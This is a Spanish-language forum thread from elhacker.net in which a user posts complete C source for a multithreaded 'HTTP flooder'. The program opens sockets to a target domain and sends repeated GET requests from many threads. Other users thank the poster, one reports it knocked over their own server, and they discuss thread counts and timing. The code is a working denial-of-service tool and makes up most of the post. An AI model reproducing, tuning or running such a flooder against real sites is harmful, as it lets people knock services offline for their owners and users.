Test Foro de elhacker.net SMF 2.1

Programación => Programación C/C++ => Mensaje iniciado por: 0xDani en 29 Octubre 2012, 16:36 PM

Título: [Aporte] Flooder HTTP
Publicado por: 0xDani en 29 Octubre 2012, 16:36 PM
Bueno aqui dejo este codigo que he estado haciendo estos dias, espero que les guste, se aceptan sugerencias, criticas constructivas, comentarios... etc. Basicamente crea varios hilos (he llegado a probar hasta 50) y cada uno de estos hilos envia peticiones HTTP a la pagina objetivo.

#include <sys/socket.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netdb.h>
#include <unistd.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <time.h>
#include <sys/types.h>
#include <stdbool.h>


#define MAX_dani 0xF0000

struct params{ /* En esta estructura se almacenan los parametros de la funcion t*/
  char web[20]; // Dominio web
  int port;  // Puerto (sera el 80, para peticiones HTTP)
  int thread; // El numero de thread
  int nrequests; // El numero de peticiones
  int sleeptime; // El tiempo de espera entre cada peticion
};

int total_requests; // Para almacenar el numero total de peticiones
pthread_mutex_t lock; // Para evitar que varios threads modifiquen total_requests a la vez
int nthreads; // Numero de threads a crear

void* t(void *p) /* Esta es la funcion que va a ejecutar cada thread*/
{
  int n = ((struct params*)p)->thread+1; // El numero de thread
  printf("Proceso %i: presente\n", n); // Presentacion
  char request[128]; // Para almacenar la peticion
  _Bool connected; // Variable auxiliar, indica si el socket esta conectado
  struct hostent *host = gethostbyname(((struct params*)p)->web); // Obtener la IP de la web
  if(!host)
  {
    printf("Proceso %i: No se ha podido resolver la direccion del servidor\n", n);
    return NULL;
  }
  printf("Proceso %i: Direccion IP(v4): %s\n", n, inet_ntoa(*((struct in_addr *)host->h_addr)));
  /*Para getpeername()*/
  struct sockaddr sockbuf;
  int stsize = sizeof(sockbuf);
  /*Preparar los datos de la conexion */
  struct sockaddr_in sock;
  sock.sin_family = AF_INET;
  sock.sin_port = htons(((struct params*)p)->port);
  sock.sin_addr.s_addr = inet_addr(inet_ntoa(*((struct in_addr *)host->h_addr)));

  int sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); // Creamos el socket
if(sockfd==-1)
{
  printf("Proceso %i: No se pudo crear el socket\n", n);
  return NULL;
}
printf("Proceso %i: Socket creado\n", n);
printf("Proceso %i: Conectando...\n", n);
int aux;
connect(sockfd, (struct sockaddr*) &sock, sizeof(struct sockaddr)); // Conectamos
printf("Proceso %i: Conectado\n", n);
connected=true;
sprintf(request, "GET / HTTP/1.1\nHost: %s\nUser-Agent: Mozilla/4.0\n\n ", host->h_name); // Ponemos la peticion en una cadena
printf("Proceso %i: Peticion en request\n", n);
for(aux=0; aux<(((struct params*)p)->nrequests); aux++)
{
   if(getpeername(sockfd, &sockbuf, &stsize)<0) // Comprobar que el socket esta conectado
   {
     if(errno==ENOTCONN) // Si no lo esta, cerrar y reconectar
     printf("Proceso %i: Reconectando socket...\n", n);
     close(sockfd);
     sockfd = socket(AF_INET, SOCK_STREAM, 0);
     if(connect(sockfd, (struct sockaddr*) &sock, sizeof(struct sockaddr))==-1)
     {
      connected=false;
      break;
     }
   }
   if(!connected) // Si no se pudo reconectar, decrementar aux y reiniciar el bucle
   {
     aux--;
     continue;
   }
   write(sockfd, request, strlen(request)); // Hacer la peticion HTTP
   printf("Proceso %i: %i peticion/es\n", n, aux+1);
   pthread_mutex_lock(&lock); // Incrementar el numero total de peticiones
   total_requests++;
   pthread_mutex_unlock(&lock);
   sleep(((struct params*)p)->sleeptime); // Pausar
   }
close(sockfd); // Cerrar el socket
pthread_exit(NULL); // Salir
}

int main(int argc, char *argv[])
{
/*Tratamiento de linea de comandos*/
if(argc!=6)
  {
   printf("Uso: %s numero_de_threads dominio_web puerto(80) numero_de_peticiones_por_thread tiempo_de_espera\n", argv[0]);
   exit(0);
  }


/*Inicializar algunas estructuras y parametros*/
pthread_mutex_init(&lock, NULL);
pthread_t *mythreads = (pthread_t*)malloc(atoi(argv[1])*sizeof(pthread_t));
pthread_attr_t a;
struct params *p = (struct params*)malloc(atoi(argv[1])*sizeof(struct params));
int i, ret, j; // Algunas variables auxiliares
nthreads = atoi(argv[1]); // Numero de threads
for(j=0; j<nthreads; j++)
{
  strcpy(p[j].web, argv[2]);
  p[j].thread = j;
  p[j].port = atoi(argv[3]);
  p[j].nrequests = atoi(argv[4]);
  p[j].sleeptime = atoi(argv[5]);
}
/*Setear la cantidad de memoria que un thread puede usar*/
pthread_attr_init(&a);
pthread_attr_setstacksize(&a, MAX_dani);
/*Saber el tiempo que hace que se inicio el programa*/
time_t start=time(NULL), end;
/*Crear los threads*/
for(i=0; i<nthreads; i++)
{
  ret = pthread_create(&mythreads[i], &a, t, &p[i]);
  switch(ret)
  {
   case 0:
    printf("Thread %i creado\n", i+1);
    break;
   case EAGAIN:
    printf("EAGAIN\n");
    _exit(1);
   case EINVAL:
    printf("EINVAL\n");
    _exit(2);
   case EPERM:
    printf("EPERM\n");
    _exit(3);
  }
}
/*Esperar a que terminen los threads, liberar memoria y mostrar algunas estadisticas aproximadas*/
pthread_attr_destroy(&a);
for(j=0; j<nthreads; j++)
pthread_join(mythreads[j], NULL);
end=time(NULL);
pthread_mutex_destroy(&lock);
printf("Retornaron los hilos\n");
printf("Total de peticiones: %i\n", total_requests);
printf("Numero de peticiones por segundo: %lf\n", total_requests/((double)(difftime(end, start))));
free(mythreads);
free(p);
return 0;
}


Saludos!
Título: Re: [Aporte] Flooder HTTP
Publicado por: NeoB en 29 Octubre 2012, 18:53 PM
Muchas gracias! Lo he probado y funciona a la perfección. Mi servidor se las ha tragado enteritas y se ha atragantado XD.
Muchas gracias por el aporte.
Título: Re: [Aporte] Flooder HTTP
Publicado por: Stakewinner00 en 29 Octubre 2012, 18:55 PM
ya te funciona? despues miro si cae mi wifi k el otro dia con el mio salia como k enviaba pero no hacia nada
Título: Re: [Aporte] Flooder HTTP
Publicado por: xiruko en 29 Octubre 2012, 21:24 PM
gracias por postearlo!

aprovechare y me mirare esta manera de crear hilos de ejecucion... aunque tengo una pregunta: no seria lo mismo hacerlo solo con 1 hilo pero con menos tiempo entre las requests? no tengo mucha idea de esto xD

un saludo!
Título: Re: [Aporte] Flooder HTTP
Publicado por: 0xDani en 30 Octubre 2012, 15:39 PM
Cita de: xiruko en 29 Octubre 2012, 21:24 PM
gracias por postearlo!

aprovechare y me mirare esta manera de crear hilos de ejecucion... aunque tengo una pregunta: no seria lo mismo hacerlo solo con 1 hilo pero con menos tiempo entre las requests? no tengo mucha idea de esto xD

un saludo!

Puedes probar a usar varios threads con un tiempo de espera, y luego hacerlo con uno solo. A mi normalmente me es mas eficiente con varios hilos.